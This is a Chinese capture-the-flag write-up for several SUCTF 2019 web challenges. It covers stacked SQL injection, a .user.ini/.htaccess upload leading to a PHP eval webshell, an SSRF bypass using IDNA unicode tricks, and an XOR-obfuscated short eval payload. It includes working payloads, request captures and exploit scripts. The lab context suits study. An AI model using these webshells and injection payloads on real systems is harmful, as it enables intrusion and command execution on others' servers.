[SUCTF 2019]EasySQL 堆叠注入 首先查表
如何查flag
呢,猜测后端语句为
1 select $post['query' ]|| flag from Flag
那么涉及特性
SQL_MOD:是MySQL支持的基本语法、校验规则 其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。
1 2 3 4 select 1 || 'flag' ;1 flag我们执行select concat(1 ,flag) from Flag即可得到flag
payload
1 2 3 1 ;set sql_mode= PIPES_AS_CONCAT;select 1 后台为 select 1 ;set sql_mode= PIPES_AS_CONCAT;select concat(1 ,flag) from Flag
还有一种是直接查
当引擎未被打开时
1 2 3 4 5 6 7 8 select 1 || 'flag' 1 select 0 || 'flag' 0 select 'a' || 'flag' 0
那么payload如下
1 2 3 1 ;select * ,1 后台为 select 1 ;select * ,1 from Flag
[SUCTF 2019]CheckIn 用.user.ini
即可绕过
1 2 3 4 .user.ini GIF89a auto_prepend_file=a.jpg
1 2 3 4 a.jpg GIF89a <script language='php'>@eval($_POST[1]);</script>
就可以getshell
了
1 2 3 Your dir uploads/0211dc66bfdf20bb5c17ed485cf67119 Your files : array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "a.jpg" [3]=> string(9) "index.php" }
看包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Request: POST /index.php HTTP/1.1 Host: 7cf17c12-08e9-4e85-969b-ecc9abdf62b7.node5.buuoj.cn:81 Content-Length: 319 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://7cf17c12-08e9-4e85-969b-ecc9abdf62b7.node5.buuoj.cn:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjhAmoP5dcNO7Ozj3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://7cf17c12-08e9-4e85-969b-ecc9abdf62b7.node5.buuoj.cn:81/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryjhAmoP5dcNO7Ozj3 Content-Disposition: form-data; name="fileUpload"; filename=".user.ini" Content-Type: image/jpeg GIF89a auto_prepend_file=a.jpg ------WebKitFormBoundaryjhAmoP5dcNO7Ozj3 Content-Disposition: form-data; name="upload" 提交 ------WebKitFormBoundaryjhAmoP5dcNO7Ozj3--
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 Response: HTTP/1.1 200 OK Server: openresty Date: Sun, 11 Aug 2024 03:34:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Cache-Control: no-cache Content-Length: 768 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Upload Labs</title> </head> <body> <h2>Upload Labs</h2> <form action="index.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="fileUpload" id="file"><br> <input type="submit" name="upload" value="提交"> </form> </body> </html> Your dir uploads/0211dc66bfdf20bb5c17ed485cf67119 <br>Your files : <br>array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "a.jpg" [4]=> string(9) "index.php" }
图片的包就不用看了吧?
1 2 3 4 http://7cf17c12-08e9-4e85-969b-ecc9abdf62b7.node5.buuoj.cn/uploads/0211dc66bfdf20bb5c17ed485cf67119/ POST: a=system("tac /f*");
[SUCTF 2019]Pythonginx 应该算是一个ssrf
ssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @app.route('/getUrl' , methods=['GET' , 'POST' ] ) def getUrl (): url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list (urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333" </code> <!-- Dont worry about the suctf.cc. Go on! --> <!-- Do you know the nginx? -->
域名绕过前两个判断不为suctf.cc
但是经过编码又必须为suctf.cc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from urllib.parse import urlsplit,urlunsplit, unquotefrom urllib import parseurl = "http:////def" parts = parse.urlsplit(url) print (parts)url2 = urlunsplit(parts) parts2 = parse.urlsplit(url2) print (parts2)
这样子是可以绕过的
nginx Nginx (engine x) 是一个高性能的HTTP 和反向代理 web服务器,同时也提供了IMAP/POP3/SMTP服务。
nginx和apache区别:https://cloud.tencent.com/developer/article/1635326
1 2 3 4 5 6 7 8 9 #配置 配置文件: /usr/local/nginx/conf/nginx.conf 配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx
然后我们用file协议
查看就可以了
1 2 3 /getUrl?url=file:////suctf.cc/usr/local/nginx/conf/nginx.conf /getUrl?url=file:////suctf.cc/usr/fffffflag
idna 这题还有另外的绕过方法
1 2 3 4 5 import idnaurl = "℆" print ('℆' .encode('idna' ))print (b'c/u' .decode('utf-8' ))
通过特殊符号由于源码中说明了idna编码的问题,可以选择这样子绕过
1 /getUrl?url=file:////suctf.c℆sr/fffffflag
unicode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode (): for x in range (65536 ): uni=chr (x) url="http://suctf.c{}" .format (uni) try : if getUrl(url): print ("str: " +uni+' unicode: \\u' +str (hex (x))[2 :]) except : pass def getUrl (url ): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc' : return False parts = list (urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return False newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return True else : return False if __name__=="__main__" : get_unicode()
随便选一个进行url
编码即可绕过(必须是全编)
1 /getUrl?url=file:////suctf.c%E2%93%92/user/fffffflag
[SUCTF 2019]EasyWeb 文件上传外加RCE绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function get_the_flag ( ) { $userdir = "upload/tmp_" .md5 ($_SERVER ['REMOTE_ADDR' ]); if (!file_exists ($userdir )){ mkdir ($userdir ); } if (!empty ($_FILES ["file" ])){ $tmp_name = $_FILES ["file" ]["tmp_name" ]; $name = $_FILES ["file" ]["name" ]; $extension = substr ($name , strrpos ($name ,"." )+1 ); if (preg_match ("/ph/i" ,$extension )) die ("^_^" ); if (mb_strpos (file_get_contents ($tmp_name ), '<?' )!==False) die ("^_^" ); if (!exif_imagetype ($tmp_name )) die ("^_^" ); $path = $userdir ."/" .$name ; @move_uploaded_file ($tmp_name , $path ); print_r ($path ); } } $hhh = @$_GET ['_' ];if (!$hhh ){ highlight_file (__FILE__ ); } if (strlen ($hhh )>18 ){ die ('One inch long, one inch strong!' ); } if ( preg_match ('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh ) ) die ('Try something else!' ); $character_type = count_chars ($hhh , 3 );if (strlen ($character_type )>12 ) die ("Almost there!" );eval ($hhh );?>
我们构造${_GET}{%ff}();&%ff=phpinfo
异或脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $payload = '' ;$x = '_GET' ;for ($i = 0 ; $i < strlen ($x ); $i ++){ for ($j = 0 ; $j < 255 ; $j ++){ $k = chr ($j ) ^ chr (248 ); if ($k == $x [$i ]) { $payload .= '%' .dechex ($j ); } } } echo '%f8%f8%f8%f8^' .$payload ;?>
1 2 3 ?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=phpinfo ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
然后就得到flag
了但是没有getshell
继续
然后就是上传文件但是没有切入点那就用脚本,文件内容
1 2 3 4 poc.jpg: GIF89a PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
然后绕过可以有两种
1 2 3 4 \x00\x00\x8a\x39\x8a\x39 #define width 1337 #define height 1337
1 2 3 4 5 6 .htaccess: #define width 1337 #define height 1337 php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg" AddType application/x-httpd-php .jpg
上传文件的HTML
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST数据包POC</title > </head > <body > <form action ="http://11973075-4e71-40d4-bca4-fec6b297d135.node5.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%A0}();&%A0=get_the_flag" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="postedFile" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
路径
1 2 upload/tmp_0211dc66bfdf20bb5c17ed485cf67119/.htaccess upload/tmp_0211dc66bfdf20bb5c17ed485cf67119/poc.jpg
然后我就发现不能getshell
,忘了一个细节base64解码是四位一组,所以还得添加2位
1 2 GIF89a66 PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
链接antsword
找到flag
[SUCTF 2019]Upload Labs 2 admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php include 'config.php' ;class Ad { public $cmd ; public $clazz ; public $func1 ; public $func2 ; public $func3 ; public $instance ; public $arg1 ; public $arg2 ; public $arg3 ; function __construct ($cmd , $clazz , $func1 , $func2 , $func3 , $arg1 , $arg2 , $arg3 ) { $this ->cmd = $cmd ; $this ->clazz = $clazz ; $this ->func1 = $func1 ; $this ->func2 = $func2 ; $this ->func3 = $func3 ; $this ->arg1 = $arg1 ; $this ->arg2 = $arg2 ; $this ->arg3 = $arg3 ; } function check ( ) { $reflect = new ReflectionClass ($this ->clazz); $this ->instance = $reflect ->newInstanceArgs (); $reflectionMethod = new ReflectionMethod ($this ->clazz, $this ->func1); $reflectionMethod ->invoke ($this ->instance, $this ->arg1); $reflectionMethod = new ReflectionMethod ($this ->clazz, $this ->func2); $reflectionMethod ->invoke ($this ->instance, $this ->arg2); $reflectionMethod = new ReflectionMethod ($this ->clazz, $this ->func3); $reflectionMethod ->invoke ($this ->instance, $this ->arg3); } function __destruct ( ) { system ($this ->cmd); } } if ($_SERVER ['REMOTE_ADDR' ] == '127.0.0.1' ){ if (isset ($_POST ['admin' ])){ $cmd = $_POST ['cmd' ]; $clazz = $_POST ['clazz' ]; $func1 = $_POST ['func1' ]; $func2 = $_POST ['func2' ]; $func3 = $_POST ['func3' ]; $arg1 = $_POST ['arg1' ]; $arg2 = $_POST ['arg2' ]; $arg2 = $_POST ['arg3' ]; $admin = new Ad ($cmd , $clazz , $func1 , $func2 , $func3 , $arg1 , $arg2 , $arg3 ); $admin ->check (); } } else { echo "You r not admin!" ; }
phar反序列化,看不懂思密达